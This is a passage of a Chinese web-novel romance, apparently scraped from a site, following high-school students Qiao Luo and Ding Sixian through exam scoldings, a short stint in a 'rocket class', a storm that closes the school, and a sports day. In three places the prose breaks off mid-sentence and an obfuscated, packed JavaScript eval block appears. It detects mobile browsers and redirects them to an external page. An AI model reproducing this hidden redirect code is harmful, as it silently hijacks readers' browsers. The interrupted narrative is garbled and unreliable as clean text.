不是?这门锁着了?这怎么进,跳窗? 还是沈老师又跑到门前开了门。 “老师我……要不然您再把门锁上,当我进不来行不行?”乔洛抱着卷纸,不是很想跨进数学办公室的门槛。 “进来,不就是刚才张老师进门的时候顺手锁上了吗?你有什么可不好意思的?” 乔洛不是很懂沈老师在说些什么,但也只好灰溜溜跟在他身后。 哦,屋里多了一张桌子,坐着的应该就是扣了乔洛十七分的那个天才,乔洛只扫了一眼就收回视线。 “自己看卷纸了吧?”沈老师点了点乔洛的卷纸,“你自己总结总结怎么能打成这样,这应该是你第一次下一百一?” “嗯……第二次,上学期第一次月考考了109。”乔洛低着头,默默说着自己的错处,“我不该加法算错数,七十二加二十八等于一百不等于九十,求导也不该算不出来……” 乔洛突然感觉这么说不大贴切,“不对,这个我是真算不出来,但问题是我这俩题第一问都是对的,他怎么就株连九族了呢。” 张老师没有说话,但乔洛似乎听到他冷哼了一声。 什么?他哼哼什么?怎么他还不乐意了? 当然乔洛没有说出来,当学生的,屈居人下,还是要稍微忍气吞声一些。 “你得清晰认知到,你这次题答得就是不完美,不然老师怎么能扣你分? 上次109那是题出得太难了,学校里最高分也就考了116,这次才是真的出了问题。 以后好好努努力,认真检查检查你写的东西,我留的作业你多少写点,别让别人用以前那点破事在背后说道你,知不知道!” 乔洛突然就明白了沈老师把她叫去办公室的意图。 所以那姓张的,是该死的长舌夫! “好嘞,老师放心,期末不到一百二我提头来见。”乔洛深深鞠了一躬。 沈老师拿着红笔,在乔洛卷纸上勾了几下:立体几何加十四,导数加八,总分115。 他把卷纸重新递给乔洛,“好了,回去吧,这个分数已经登记排榜,肯定是改不了,帮我传个话,回班里说一下和你情况一样的可以自己给自己加上点分,但引以为戒,做到完美一点错没有才能应对所有事情。” “好嘞,谢谢老师老师再见!”乔洛拿起卷,转身就想跑出办公室。 刚走到门口,又被沈老师叫住了。 “乔洛,我再考考你28加72等于多少?” “啊……一,一百。” “行了,走吧!” “老师再见!” 就这样,一场属于乔洛的批斗大会结束了。 语文老师并没有找她谈话,虽然乔洛那次是全班并列倒数第一的语文成绩。 本以为这事情就这样过去了,乔洛也没有太在乎,毕竟于她而言数学打到一百二十分也不是难事。 直到期末考试的前一天晚上。 乔洛躲在桌子上摞起来的书后面,吹着窗外的微风补觉。她做了个梦,梦到了妈妈做的酸菜炖排骨......怎么好像有人叫她? “乔洛!醒醒!乔洛?”是杨可期在乔洛耳边叫,“别睡啦我的小猪!” 乔洛被强制从睡梦中喊醒,非常幽怨地看着杨可期,“你最好不是单纯想喊我起床。” “邪恶朵拉喊你去她办公室!”杨可期很无奈,“该来的总会来的,虽然来的确实是太晚了。” 42. 火箭班 由于葛老师过于严苛,她有个流传了很多届的外号。 邪恶朵拉,取自她几十年如一日的同一个头型——朵拉头。 “她没事吧?明天就又考试了,今天喊我去谈话?” “快去吧啊,早去早回。” 就这样,乔洛去了语文办公室。很滑稽的是,乔洛把腿睡麻了,而且还是两条腿。她一步一顿地出门的样子真的很像刚长出来四肢。 无非就是在说乔洛默写没有分,作文胡说八道,阅读写得字太少。 其实乔洛自己认真地对照过答案,她虽然写得字不多,但都在给分点上,只不过大概判卷老师看不上她这种懒鬼,没有给分。 至于作文,仅仅是这个论点乔洛并不赞同,所以不大想写。本想着放空一会再写结果睡着了,一睁眼睛还有十五分钟,只能胡说八道乱写一气。 谁承想人怎么能倒霉到这种地步,语文数学一起开天窗。 不过批评就批评了,乔洛就点头应和就成,实际上邪恶朵拉在说什么乔洛也不太清楚。 葛淑梅演讲过她自己的丰功伟绩,她小时候说是发烧烧了好几天,捡回一条命来,然后就非常之珍惜读书的机会,但自己脑子又不好,只能刻苦努力,最后才考上师范学院。 不过要知道一件事情,八几年的师范学院并不是什么热门的地方,当时有个说法叫“宁有五斗粮,不当孩子王”。 当然,那个时代能上大学就已经算很厉害的了,所以乔洛对于葛淑梅的过往功绩谈不上敬佩,但也会感叹一句她真的是个很有毅力的人。 只不过这人到底为什么因为自己脑子不好使就认为所有人都得像她一样十分努力才能有一点点成绩,乔洛一直想不通。 就比如现在,她又搬出了那套乔洛一直以来非常嗤之以鼻的言论。 “你看你的成绩,语文英语在班级垫底,这次数学也不高,小女孩本来上了高三脑子就不够用了,你已经考出了前八十,按理说都不配在尖子班……” “我期末就考回去了。”乔洛打断了葛淑梅施法。 之前就听班里其他人说过,考出前八十的时候石忠还没说什么,葛淑梅竟找人谈话,还说人家考出前八十就很难再回来了。 葛淑梅大概是没有想到乔洛如此坚定,思考了一下又说道,“你有信心是好事,但也要平衡时间,不能白天在学校睡觉迷惑同学,晚上回家再学习,同学之间不该这样算计。” 乔洛长长叹了口气,这人的脑回路到底为何如此抽象。 她忍住了自己不太想继续好好说话的冲动,尽可能的,语气好一些。 “老师,我还是想跟您说明一下,第一,我晚上回家吃过饭就睡觉,自习课睡觉单纯是因为困,按照学校的作息我闪现上下学什么都不干立即入睡也才只能睡八个小时,但很可惜我不会闪现也不会一秒入睡的技能,所以我真的很困; 第二,女性的智商从来不会屈于男性之下,我也不是学不会了,我是出了前八十名,但我排八十三,下一次一定会回到前两个考场,而且人和人的智商是不一样的,并不是所有人的付出和回报率都那么低。 还有就是马上放学了,我可以回去收拾东西了吗?” 葛淑梅似乎不太能理解乔洛这么一大段输出,但还是说了一句,“那你回去吧。” 秉承着尊师重道的好习惯,乔洛说了谢谢老师老师再见又鞠了一躬才走出办公室并且关上了门。 葛淑梅倒是个负责任的老师,乔洛虽不理解她日常的逻辑和操作,但也不违规,毕竟对于没有找到她头上的事情她其实是都不在乎的。 但乔洛实在想不通,明天就考试了,葛淑梅今天找她说这些颠三倒四的话到底是干什么。 原本乔洛也是打算让自己最后再放纵几个月,高三开学就好好学习的,如今也是仅仅提前了一些。 种种因素加乘下,乔洛最后把自己送进了这个突然造访的火箭班。 杨可期戳戳乔洛的脑袋:“后悔不,跟邪恶朵拉生气,还把自己坑进去了?” “这口气必须争!”乔洛猛地坐起来,“不就是到下次月考吗?等我一个月之后杀回来!” 那是,乔洛和丁似霰唯一一段同窗的经历。 开学第一天,乔洛就每节课都以墙面和丁似霰桌子上摞起来的书为支点,略有些自暴自弃地栽进去。 第一节课,乔洛看到丁似霰戴起了他的……黑框眼镜。 之前也就偶尔在门外见过他戴眼镜的样子,他度数不高,所以也只有上课看黑板的时候会戴一下……主要是,过去乔洛没太注意观察过他。 “你要不换个镜框呢?”乔洛微微又侧了点身,用语文书挡着脸,用那种不会引起声带震动的小声音说道,“这个黑框看起来有点呆。” “我就上课的时候戴一下,”丁似霰把眼镜摘下来,拿在手里看了看,“很呆?” 乔洛非常诚恳地点点头,并且拿来了自己的小照妖镜,“你自己看看。” “呃,那现在也出不去学校……” “等放假的,带你去眼镜店提高一下审美。” 后来,就算没有葛优瘫,乔洛也多是闷着头不知道在写些什么东西。 两节课结束,丁似霰实在忍不住,问了一句,“你真的一点都不听课?” 乔洛站起身对他勾勾手指,“来,你过来,坐我这里。” 丁似霰有些疑惑,但还是照做了。 “弯点腰,我脑袋大概能伸到这,”乔洛摆正了一下丁似霰的位置,给他模拟她的视角,“你猜我能不能看到黑板?” 这个火箭班的排座方式,很罕见。两排蛇形排布,乔洛和丁似霰才会是前后座。因为单人单桌,所以坐得比较松散,某种程度上也就会让后排看黑板的时候更加费劲。 而且,前面有几个个子比较高且上身偏长的大哥,学习也很热情啊,坐得溜直,在乔洛的视角里,她看到的是一个又一个大头,以及零零散散露出来的黑板。 “嘶,确实看不见。”丁似霰被乔洛压着肩膀,固定在了一个他小学时才会有的高度,“要不然你去我那试试?可能稍微会错开一点。” “不用了,我何必自取其辱,况且本来我也不爱听。” 座位这个事情,一直都是个千古难题。难道个子高的人就活该一辈子都落座在后排吗?但是他们若是后面做了一个矮上一些的,确实也根本看不到黑板。 乔洛没兴趣解决这种难题,她也没能力解决,所以——能看到黑板就看两眼,看不到就算了,况且她也很喜欢窝在角落不被注意的这种安逸感。 乔洛是个生性懒散不求上进的人,火箭班的快节奏让她不是很舒服,尤其是第一节语文课留的整整六篇古文作业让她最不舒服。 这日子真是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908934|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难熬了。 可能是天不遂人愿,开学第二天,就出了新乐子。 八月下旬,新柳罕见的下了很大的暴雨,并且电闪雷鸣。 雷雨在晚饭之前停了,孩子们在走去食堂的路上还在感叹,老天爷还是长点眼睛的,至少还把晚饭时间空出来了。 没成想刚刚到食堂,外面的雨就又下了起来,而且比之前更大。 下冒烟了的感觉。 乔洛看了看自己脚上这双还没有太湿透的运动鞋,多少有点生无可恋。学校宿舍那个败家条件,根本没法把鞋晾干,按照这个下雨的状态,明天只能穿拖鞋出门了。 不过不论想多少都是没有用的,下不下雨,下多大雨,她都没法控制。 乔洛一口菜花刚刚送进嘴里还没来得及下咽,就听到了一声巨响。 与此同时,整个食堂所有的灯一瞬间全部暗了下来,风扇也都停住了。 食堂从来没有如此安静过,仿佛所有人都住了嘴,在这片黑暗中快速头脑风暴,到底发生了什么。 乔洛随意的嚼了几口就把口中的食物咽下,而后缓缓开口,她的声音中带了很多的期待之情:“我去——” 丁似霰道,“这是食堂……” “被雷劈了!”许志一脸兴奋。 看学校的乐子,谁能不兴奋啊? 乔洛摸着黑抱着杨可期摇起来,“我能回家了是不是!学校电线劈坏了就不能上课了哈哈哈哈哈哈哈哈哈哈!” “好像是啊啊啊啊……”杨可期被乔洛摇出了波浪音。 学生们缓过神之后都瞬间炸开了锅,食堂比刚刚更加吵闹。 短短半个小时内,“新材高中被雷劈了”在新柳县广泛传播开来。 是总电路被劈坏了,所以整个学校都不能供电,只好立刻组织学生放假。 加上这几天大风雷雨极端天气预警,学校直接决定八月三十一日三个年级再一起开学,而且高三九月中下旬的考试时间不变。 乔洛念叨了整整一晚上“天助我也”,火箭班的日子直接缩了一半! 重获假期的第一天,乔洛就拎着丁似霰去了眼镜店,毕竟极端天气预警这东西,只是个预警,不会耽误除了上学以外的任何事,就像雪休依旧可以玩雪但不能上学一样。 老板非要热情地拉着乔洛一起验个光。 头架在仪器上时,乔洛还在念叨,“不用吧,我又不近视……” 确实不近视,但是散光。 老板把散光说得很严重,但乔洛不为所动,只有左眼有七十五度的散光,能有什么大事。 不过就是,离得远些看东西多几层影罢了。 最后,乔洛给丁似霰选了一个金边的镜框。 好一个斯文败类的面孔。 “对,就这么戴着,然后,”乔洛伸手轻轻推把丁似霰的嘴角向上推了推,“笑一下。” 男孩露出了一个十分灿烂的笑容。 “别笑这么灿烂,稍微收一些。” 他换成了微笑……就是多少绷得有些费力。 乔洛两只手同时打了一个响指,然后变成了两个对钩,“对对对,就是这个味!” 待到再次开学,只剩下三周就要月考了。 但就算只有三周,火箭班的日子也并不好熬。 刚刚开学乔洛就捅了篓子,当然,倒霉蛋一定不止一个。 43. 同窗 乔洛依旧没把作业都写完,并且按照惯例,只写了她不大会的语文和丁似霰问她的几道理科题。 但数学老师不姓沈了,而是张保。 再次开学,第二节数学课,乔洛就因为没有写数学作业而被拎到讲台上去现场写那道导数的证明题。 【所以:g(x)≥f(x)-x?+5x?-e?-1】 乔洛看了看黑板,又看了看张保。很好,脸很臭,看来写得是对的。 张保恼羞成怒:“看什么看!写对了也不是你不写作业的借口,既然你都会了就不用听我讲了,这节课去操场上跑圈,下课之前不许停!” 乔洛并未有任何多余的反应,只是把卷纸随意折了几下塞进裤兜:“哦。” 她刚转过身,一脚踏下讲台,便听到了一个很响亮的声音: “老师我也没写作业!” 是丁似霰,他自投罗网地把第二张卷纸拿了出来。 “滚!都滚出去!” 在乔洛疑惑的眼神中,丁似霰尽量板着脸不让自己的喜悦表达出来,拎着他的外套和乔洛一起走出了教室。 “你第二张卷不是写满了吗?”乔洛还记得昨天晚自习她给丁似霰写了一整节课的解题思路,她明明看到的是一张写得很满的卷纸。 所以,其实乔洛每道题都有做,只是都是整理思路然后把草稿纸送给了丁似霰,进而懒得在她自己的卷纸上再抄一遍。 “发卷发到我这里多了一张没人要,我留下当草稿纸了,”丁似霰把外套递给乔洛:“披上点吧,早上还挺凉的,不至于嫌弃我的衣服吧?刚不太好拿你的外套……” 九月初的新柳谈不上冷,但前些时候一直在下雨,乔洛只穿着一层薄衫和校服,确实也不暖和。她接过外套穿在身上:“还行,你不臭。” 但话说回来,这哪是惩罚,这是恩赐。 把这两个家伙放去操场,他们能老老实实跑圈才怪。 虽然说学校对这个班级看管得很严,但用乔洛的话来讲,困了那就得睡觉,不然有违生理规律。 所以,一周后的一个早自习,乔洛用语文书挡着脸睡觉......被发现了。书被抽走的时候,她只是换了个姿势,继续睡。 然后乔洛同学就又被罚去操场跑八百米了。 当然同行的还有丁似霰,这哥们都没用掩体,直接睡的,甚至老师过来的时候还砸吧砸吧嘴,睡得正香。 两个人在操场上走圈,没人监督的情况下他们俩人怎么可能老老实实跑步,不会真以为考进火箭班的都是什么规规矩矩老老实实的听话孩子吧? “咱俩这同学生活是不是有点过于生动了啊,一周之内被罚出来跑圈两次?”乔洛又在倒着走路,她总是很喜欢这样,或许是因为可以看到同行之人的面容。 “那……还可以做什么?” “嗯?” “不太生动的,同学生活,会做些什么?” “嗯,杨可期看的那些小说里吧,都是帅哥学霸给笨蛋女主讲数学题。” 丁似霰听罢,不由扶额,“那要不,我试试该怎么当笨蛋帅哥?” “大可不必,我没耐心细致板牙一遍一遍讲基础知识。” “喔,多亏我脑子还不算太差,不然要被洛洛嫌弃的。” “那倒是也,未必,”乔洛走累了,直接躺在操场上。“这日子什么时候是个头啊?晚睡早起的还不让睡觉,还不如弄死我。” 丁似霰趴在了乔洛旁边,“我也想问,感觉再这样躺一会我又能睡着。” “你猜这时候要是来个领导能不能把咱俩杀了?” “不能,杀人犯法,”丁似霰突然想起了什么,侧过身去,用手撑着头,“不过你还小,倒是可以试一试。” “大哥,我马上十六了,过了十四就能判了,你是真不怕我进去啊?”乔洛甚至懒得睁眼睛。 “唉,那还是算了吧,躺一会就回教室。” “嗯。” “咱俩不会把第一节课睡过去吧?”丁似霰躺了回去,想睡又不敢睡。 “不会的。” “怎么这么自信?” “不知道哪里在施工,用不了十分钟,就该开始响了。”乔洛话音刚落,打桩机的声音就响了起来。 “啊!”乔洛坐了起来,翻了个大大的白眼,“好烦啊,也不知道施什么工呢?” 丁似霰站起来,对着乔洛伸了根胳膊,扶她起来,“不知道,反正再怎么修厕所的水还是会时不时停几个小时。” “走吧,下节课化学,可以睡觉。” “希望都可以向化学老师学习。” 日子虽然难熬,但也在一天一天地过着。高三的学生们总给人一种不知疲倦的感觉,一天三四个小时的睡眠竟然可以保证上课睁着眼睛,乔洛感觉她终其一生可能都无法理解这是怎么做到的。 九月份的阳光已经不再炎热,照在人身上暖暖的。 光透过窗帘的缝隙射入教室,在空气中形成了光束,可惜教室里的学生们大多无心欣赏这美丽的丁达尔效应。 乔洛把自己藏在摞起来的高高的书堆后面,风轻轻吹起窗帘,阳光照射形成了阴影。 嚯,我这手真好看。 乔洛摆弄着手影,在心里感叹。 乔洛的手并不似很多小说里形容的那种“娇小”,她足足比杨可期的手大了一圈。 这双手骨感很强,微微伸直用力的时候,掌骨和阳溪穴所在的那个小窝窝就十分明显,再加上略有些突出的尺骨茎突和肉眼可见的淡青色血管,总的来说,确实很有张力。 之前杨可期还说,乔洛这种又直又明显还不细的血管,真的很适合拿去扎针!可惜了,身体太好,没机会。 她手指不算纤细,但配得上一句修长匀称,指甲是很好看的方圆形,留出了几毫米的长度,指甲根部的小月牙清晰可见,指肚的弧度也刚好,在阳光下整个人裸露出来的皮肤都白的发亮。 手指的影子打在桌面上,随女孩动作的变换,呈现出了各种各样的形状。 风不知道什么时候开始变得很懂事,不再胡乱地吹着窗帘,光影变得很稳定。 在乔洛没有注意到的身后,丁似霰偷偷拽住了窗帘的底端。 女孩玩着手影,津津有味。 男孩看着女孩,满目笑意。 那三周里,倒是有数不清的苦恼与美好。 她会偷偷递给他糖果,他会把糖纸认认真真贴在本子上。 他会在无聊的时候用笔帽戳她的后背,她再出其不意一把拿下。 她和他还是会因为课上睡觉被抓起来罚站。 他有时用手中的铅笔,描绘出她的背影。 他偶尔收到她折的奇形怪状的千纸鹤。 她想吹风的时候窗帘会知趣地让开。 她总是丢三落四,但是他那里永远都会还有一份。 后来其实他们都记不大清高中的事情了,只记得有些美好的悸动不知不觉间萌芽,伴随着一篇篇古文,一道又一道解析几何或者导数,还有总是在进行各种运动的质点等等知识的浇灌,茁壮成长,然后又在岁月长河中不停浣洗。 不知不觉间,马上又要开运动会了。 最后一年。 火箭班相当于是临时成立的,又会随时变动,所以运动会还是按照每个人原来的班级进行报名。 学生们骚动的心随着教导主任的讲话,冷了下来。学校的建议是——火箭班的学生,安心学习,不要去报项目,训练浪费时间不说,还容易受伤,影响学习。 “好了都继续自习吧,不要一点小事就耐不住性子,这样怎么能成大器!”教导主任说完这话,在班级里巡视了一圈,就关上门,离开了教室。 乔洛正在对着英语作文愣神,她到底为什么总是要帮李华写信,李华自己不会写字吗?不会写字就不要写信好不好? “今年必须来看我跑赛!”一张纸条从乔洛身侧飞到了桌子上,稳定的停在乔洛笔下。 高二开运动会的时候他崴了脚,这一次可能也是最后的机会一展他的长跑风采了。 “小伙子怎么不听劝呢?老王头刚说的,建议不要参加运动会。”乔洛写下回复,两根手指夹着纸条,伸到了自己背后,对着丁似霰弯了弯手指。 纸条被抽走了。 “你来看,奖品归你。”按照惯例,一千米第一名的奖品是一个印有新材高中校徽的保温杯。 “你好自信啊,还能得第一?” “必然。” 有的时候,丁似霰确实很自信。但他也有自信的资本,高二那次年组的一千米第一名比丁似霰高一的记录慢了十几秒。 其实去年下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908935|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一届有个小伙子跑得超级快,但是不同年部不会在一起评比,所以当年丁似霰看完比赛之后摇了摇手指:“还好我没机会跟他跑同一场。” “你这人,还真是又自信又有自知之明。”乔洛当时抱着胳膊站在他身边,“不过这小伙子长得也不错哈!” 丁似霰直接撑着旁边的栏杆跳到了乔洛正前方挡住她的视线,大拇指对着自己,极其张狂:“我比他帅!” 乔洛抬起眼睛,尴尬的笑了笑,“你现在跟他比斗鸡,我感觉你会完胜。” 那时的丁似霰真的就像一只,争宠的大公鸡,扬着头,很有气势。再加上斗鸡只用单脚跳,乔洛感觉丁似霰自从崴了脚之后,单脚跳得还蛮熟练的。 乔洛最终在纸条上回了丁似霰一个字。 “好。” 高三第一次月考很快就结束了,乔洛和丁似霰如愿以偿地滚出了火箭班,那段短暂的同班同学生活,戛然而止。 直到运动会之前,每天晚饭的时候都会看到丁似霰在操场上狂奔。 他真的,很想赢。 是想在喜欢的女孩子面前展现一下自己的魅力?还是想和她有第一份同款的物件?丁似霰自己也说不清,他只是一想到自己冲线的时候,乔洛在终点等着他,就感觉好像这次跑赛比之前十一年都值得期待。 高三走入场式是会租礼服的,或许算给高三学生的一份特例,也可能是因为没有成人礼那种仪式感,整个高三也只有这一次活动了,所以格外宽松些。 丁似霰很想知道乔洛这次穿什么样的礼服。 “略略略,就不告诉你。”乔洛有一点点,想入场式当天给丁似霰来个眼前一亮的惊喜。 “那你告诉我我穿黑西装还是白西装跟你更搭?”丁似霰也不再追问。 “我们又不在一个队列里,有什么搭不搭的?” “不是,这么好的机会,礼服西装的,不想跟我合照啊?”丁似霰好像有点着急,“你想不想不重要,我想!” 乔洛忍不住一直在笑,是看着眼前少年急切的神情忍俊不禁,也是忽然就想到了西装礼裙映于一框的美好,不断憧憬。 “我感觉白色的好看。”乔洛道,白衣红裙,应该会很漂亮吧? “行,那明天中午挑衣服的时候你给我挑!”丁似霰心满意足。 “好的!” 试好西服后,乔洛看着租借处的领带,忽然有点像看丁似霰打领带的样子。 但是这里的领带都太过于普通。 “去买一条领带吧!”乔洛对着那些领带摇了摇头,“这些都太丑了,但我想看看你打领带的样子。” “也好,我得收拾得帅点,不能配不上大美女不是?” 杨可期在一旁看着,有点惊叹于他们之间的进展,这是,谈上了? 不得不说,自从乔洛说自己喜欢丁似霰之后,杨可期越发感觉这两个人越走越近了。 最后,乔洛在商场里看上了一条带着竹子暗纹的黑色领带。 丁似霰坐在椅子上,乔洛站在他身前,系着领带。 “你会系领带?”丁似霰有点惊讶。 “昨晚上回家在网上学的,”乔洛道,“还好已经回四班了,不然关在学校里上哪学这玩意去。” 丁似霰坐得十分板正,一动不敢动。 这感觉很神奇,虽然说此刻的距离不算很近。但她在给他系领带啊,就是,很紧张。 他甚至,不敢咽口水,好似生怕喉结一动会影响到乔洛系领带的动作。 乔洛退后两步,拍了拍系好的领带,很是满意地感叹:“我手真巧。” “确,确实。”丁似霰看着镜子里的自己,怎么看起来,更帅了呢? 乔洛探过头来,一起出现在镜子里,站在丁似霰身旁欣赏着她的大作:“怎么样?是不是挺好看的?我感觉不穿外套单配衬衫就很好看。” 当时丁似霰只穿了一件白衬衫,租的衣服还在店里,定好了时间,运动会再送去学校。 “好,好看。” “你怎么还磕巴上了?”乔洛有些不解。 “没有的事!我说话多顺。”丁似霰起身,准备去结账。 乔洛摁住了丁似霰,“你还有三个月就过生日了,当我提前送你的……成人礼物。” 十八岁,成人,领带。 嘶…… 44. 贼不走空 很多年过去之后,丁似霰还是会记得当时的场景。 八个女孩从办公室里面走出来,并不熟练的穿着高跟鞋小心翼翼走着路,却又个个笑颜如花。 乔洛走在最后,一袭红裙,身形高挑。她穿着一条一字肩的裙子,领口处有些许红色的羽毛,收腰的设计更凸显出女孩的身材,裙摆略微蓬松但恰到好处。她盘起了长发,露出白嫩的肩颈,脸蛋上还有未褪下去的一点点婴儿肥,妩媚中带着可爱。 她颈间戴着的,是暑假时丁似霰送她的项链,银链红坠,看起来倒像是为了这套礼服准备的。又或是说,这礼服是为了和项链配在一起。 乔洛很适合穿红色,虽然她很少穿得这么明艳。 女孩对着他挑了挑眉,笑得十分灿烂,唇红齿白这个词突然具象化了。 那个当初站在台阶上和他理论的小丫头,终于出落成了窈窕淑女。 丁似霰看着乔洛,笑得多少有点傻里傻气的。 他举着手中的拍立得,摁下快门。 女孩灿烂的笑容定格在胶片中,没有刻意的动作,仅仅是她走向他,带着青涩的稚嫩。 和那次艺术节的礼服不同,这次的乔洛看起来更加艳丽,甚至于可以算得上张扬——红色,真的很漂亮。 乔洛走到丁似霰身前,轻轻扯了一下他的领带,“怎么感觉怪怪的,要不这次先不带了吧?” “不要,多好看啊,我不摘。” “那你蹲下点,我给你重系一下,”乔洛才看出来,哪里奇怪,“你自己系的?这不是红领巾吗?” 丁似霰微弯着腰,看着乔洛为他系着领带。 还好他只会系红领巾。 还好刚才没让别人帮忙系。 还好,一切都很好。 乔洛带来了台银色的ccd。这还是假期的时候她本买来想送给丁似霰的,结果杨可期问她算什么礼物,七夕都过去了。 “一定要有个由头吗?”她看了看日历,幽幽开口:“中元节礼物。” 不过后来感觉太贵了,这礼有点重,也没送出去,索性乔洛直接当给自己新买了个玩具。 丁似霰的拍立得拍两张留作纪念就好,相纸这东西,还是多少奢侈了点。 入场式过后杨可期跟着乔洛和丁似霰一起跑到了学校广场上,拍照。 杨可期的礼服是和乔洛同款的绿色,看起来多了份清冷,少了些张扬。 用老话来讲,乔洛和杨可期现在站在一起,就是红配绿,赛狗屁…… 当然,无论怎么说,还是很漂亮的。 做一个形象的拟态大概就是,火红的小肥啾和清冷的绿孔雀。虽然北长尾山雀没有红色的,但是丁似霰还是感觉乔洛很像一只小肥啾。 “拉着手往前走,对,然后慢慢回头,”丁似霰举着相机指挥她们拍照。 “不对不对,你俩回头互相看啊,这朝两边回头跟冷战了似的。”丁似霰恨铁不成钢。 “再来一次再来一次,大摄影师别着急啊!”乔洛和杨可期小碎步往回走了几步。 不是不想对视,是一对视就想笑哈哈哈哈哈哈哈…… 最后留下的照片,都是两个女孩在仰天长笑。 她们后来还互相单膝下跪,行了“吻手礼”。 不得不说,丁似霰真有点羡慕杨可期了。 于是,杨可期给乔洛和丁似霰拍了合照,照片中丁似霰虔诚的弯下腰伸出手,乔洛则是把指尖搭在丁似霰手上。 丁似霰想到这张照片脑子里总会出现一句诗,“仙人抚我顶,结发受长生”。 许志参加了跳远比赛,入场式之后就是跳远比赛,所以他过了段时间才去找他们。 许志穿着运动服,胳膊搭在丁似霰肩上,丁似霰挨着乔洛,乔洛则挎着杨可期的胳膊,少年们的笑容定格在了照片上,好似将那一瞬的美好永远的封存,让其永不变质。 “一会好好跑,给你照相,”乔洛一边欣赏着照片,一边和丁似霰说,“但是操场上太阳很大,也不知道能不能拍出来,我尽量。” “好,我到时候找个帅点的姿势。” “跑到最后都累死了,你还有力气摆姿势?” “没人看的话当然不用在乎形象,”丁似霰看起来很开心,“但是既然你去看那我肯定得帅点。” “谢谢丁大帅哥这么重视我哈!” 高三男子一千米第二组比赛开始前,丁似霰站在起跑线后四处张望,却没有找到乔洛的身影。 几分钟前,乔洛看到了打起跑枪的正是那个她经常打交道的保安叔叔。 “叔,我想打枪,”乔洛扯着保安叔叔的衣袖边一脸讨好地撒娇卖萌。 “想试试?” “嗯嗯嗯嗯嗯。” “来吧!”保安叔叔很痛快就答应了乔洛的请求,毕竟,一个平时就很懂礼貌见面永远笑呵呵跟人打招呼的小女孩的并不为难人的要求,很难拒绝。 快开跑的时候,丁似霰才看到站在裁判台上拿着枪的乔洛。 女孩高举着枪,迎着阳光。 丁似霰感觉那一刻发光的不是太阳,而是那个笑意盈盈的女孩。 天啊,真的很累。 这操场今天怎么这么大? 还有半圈! 丁似霰在心中碎碎念。 要冲刺了,但是丁似霰领先第二的人有近百米,胜局已定。 他看到了举着相机站在终点线旁边的乔洛。 意料之中的等待,但是他还是很开心。 还有,乔洛扯着嗓子喊了一声:“丁似霰加油!!!” 嗯,动力更足了。 他对着乔洛招手,动作幅度之大,让人感觉他刚刚根本没有跑九百多米。 但是咱们光哥也就帅了不到两分钟。 冲线之后他就瘫软在乔洛肩上。 “你一身臭汗,别粘我身上,”虽然嘴上很嫌弃,但乔洛并没有推开他。 “小姑奶奶,我真没劲了,走不动了,你让我搭一会。”确实,丁似霰是尽了全力在跑赛,全程基本没有冲刺,都是一个速度。 “你这就是活该,不这么死命跑你也是第一,现在走不动了吧?” “你就说我赢得帅不帅吧?” “帅!光哥最帅了,艳压群芳,无人能敌!” “嗯嗯嗯,多夸夸,光哥很满意。” “理论来讲是不是应该走一走,免得你一会真瘫了?” “啊……你扶我,走不动。” “脸比城墙厚。” “毕竟脸皮是身外之物,”丁似霰继续赖着,“而且知道我脸皮厚的人又不多。” 于是,乔洛搀着丁似霰去登记号码牌记录成绩。 “我怎么有一种带人做复健活动的感觉?”乔洛扶着丁似霰走到了阴凉处。 “那我要是有一天真残了……” “残什么残,你要真残了我给你绑凳子上让小臭白拉着你跑。” “唉,丁大爷累了,坐一会吧。” “好,丁大爷您小心着点,别闪到腰。” 他们在附近的观众席找了个角落坐下了,毕竟丁大爷累了。 乔洛偏过头去,正好看到丁似霰仰着头,大口的喝着水。第一次发现,他喉结这么明显,随着吞咽的动作上下滚动,还有汗珠流下来……嘶,那个词叫什么来着?对,性感,突然感觉他还是……蛮性感的。 “嗯?看什么呢?”丁似霰咽下最后一口水,撞见了乔洛的目光。 “看你喉结。”乔洛没多想,问什么答什么,脱口而出。 丁似霰挑了下眉……不太合适宜的,打了个嗝…… “嗝,喝太急了,”他伸出手,随意抹了一下嘴角,“喉结……有什么好看的?” “好明显。” “嗯?我是男的啊,喉结明显不是正常吗?” 乔洛终于想出了该怎么让这个话题变得顺理成章:“我在想,要是在你喝水的时候一把把你喉结抓住,你会不会呛死。” “姑奶奶,小的最近没干什么伤天害理的缺德事,你别真想让我变公公啊……” “嗯,目前倒是没有这个想法。”乔洛随口应了一句。 短期极限运动过后,丁似霰的能量条也迅速告急,他懒懒散散的靠在了乔洛肩上,“洛洛,我感觉今天的矿泉水有点甜味。” “这就是我在小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908936|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 